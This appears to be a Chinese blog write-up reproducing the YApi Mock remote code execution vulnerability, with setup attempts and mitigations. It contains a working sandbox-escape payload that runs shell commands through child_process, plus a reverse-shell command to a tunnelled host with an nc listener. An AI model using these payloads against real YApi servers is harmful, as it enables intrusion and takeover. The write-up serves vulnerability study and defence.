YApi Mock功能远程代码执行漏洞复现
文章目录
漏洞描述
API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。
影响版本
YApi7月7日前版本,即版本<=1.92(后文有说明)
环境搭建
一、kali使用git直接克隆到本地(失败)
地址:https://github.com/Ryan-Miao/docker-yapi
git clone https://github.com/Ryan-Miao/docker-yapi.git
然后启动环境
docker-compose up -d
加个-d在后台运行比较方便,如果想看到镜像的运行过程,可以不加-d,如下图
二、nmp直接下载(失败)
地址 :https://github.com/YMFE/yapi/
下载后npm安装
npm install -g yapi-cli --registry https://registry.npm.taobao.org
目录下启动环境
yapi server
服务管理
启动环境后访问9090端口开始部署环境
直接默认部署即可,也可以选择版本
等待部署完成。
翻车:
应该是没有MongoDB服务导致的
Mongdb安装配置
具体可以看这篇文章:https://www.cnblogs.com/jackson-yqj/p/11043770.html
1、下载Mongdb
curl -O https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-4.0.10.tgz # 下载
2、解压并拷贝到指定目录
tar -zxvf mongodb-linux-x86_64-4.0.10.tgz # 解压
mv mongodb-linux-x86_64-4.0.10/ /usr/local/mongodb # 将解压包拷贝到指定目录
3、配置系统环境变量
vim /etc/profile
会提示文件已存在,输入“e”,回车,然后键盘按下“i” ,进入编辑模式即可。在文件的最后加上:
#mongodb
export PATH=$PATH:/usr/local/mongodb/bin
4、建MongoDB数据存放文件夹和日志记录文件夹
mkdir data/db
mkdir data/logs
5、创建MongoDB运行时使用的配置文件
1,进入bin目录下:cd /usr/local/mongodb/bin
2,创建mongodb.conf配置文件:vim mongodb.conf
会提示是new file,直接输入下面内容:
保存好。
6、启动MongoDB服务
1,进入bin目录下:cd /usr/local/mongodb/bin
2,加载配置文件方式启动:./mongod -f mongodb.conf
报错
看这篇文章:https://blog.csdn.net/qq_42910468/article/details/103076136
再次失败!放弃
三、另一个地址的git(失败)
git clone https://github.com/fjc0k/docker-YApi.git
docker-compose up -d
搭建成功,但是复现之后发现已经修复了
四、利用vulfous靶场
漏洞复现
1、注册用户
这里虽然关闭了注册,我们在docker-compose.yml中将true修改为flase,关闭这个功能,这也是这个漏洞的防护方法之一
然后重启镜像,随意注册一个用户
2、添加项目
3、添加接口
4、设置mock
写入Poc:i whoami &&ls /tmp即为要执行的命令,记得保存
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ls /tmp").toString()
5、访问Mock地址
回到预览位置,访问地址
翻车
说明该git下载的版本已经修复这个漏洞了。。 查看一下文档,果然。因此,漏洞版本为1.92之前的版本。。。
这里因为版本问题复现复现失败,但是过程是一致的,后面利用vulfocus复现一下,只展示结果
6、命令执行成功
7、反弹shell
同样,也可以利用命令实现反弹shell。
这里利用NATAPP实现隧道穿透到虚拟机https://natapp.cn/
端口映射到公网上进行反弹shell
开启 ./natapp -authtoken=填自己的token值
监听4444端口 nc -lvp 4444
然后反弹shell命令
bash -i >& /dev/tcp/server.natappfree.cc/45741 0>&1
先鸽了没成功
漏洞修复
1、关闭YApi用户注册功能;修改完成后,重启YApi服务
在"config.json"添加"closeRegister:true"配置项:
{
"port": "*****",
"closeRegister":true
}
2、暂时关闭mock功能(需要修改YApi代码)
在"config.json"中添加"mock: false";
"exts/yapi-plugin-andvanced-mock/server.js"中找到
if (caseData&&caseData.case_enable{...}
在其上方添加
if(!yapi.WEBCONFIG.mock) {return false;}
3、白名单限制;
安全组配置白名单访问,或者使用NGINX进行代理,限制白名单IP访问;
4、检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。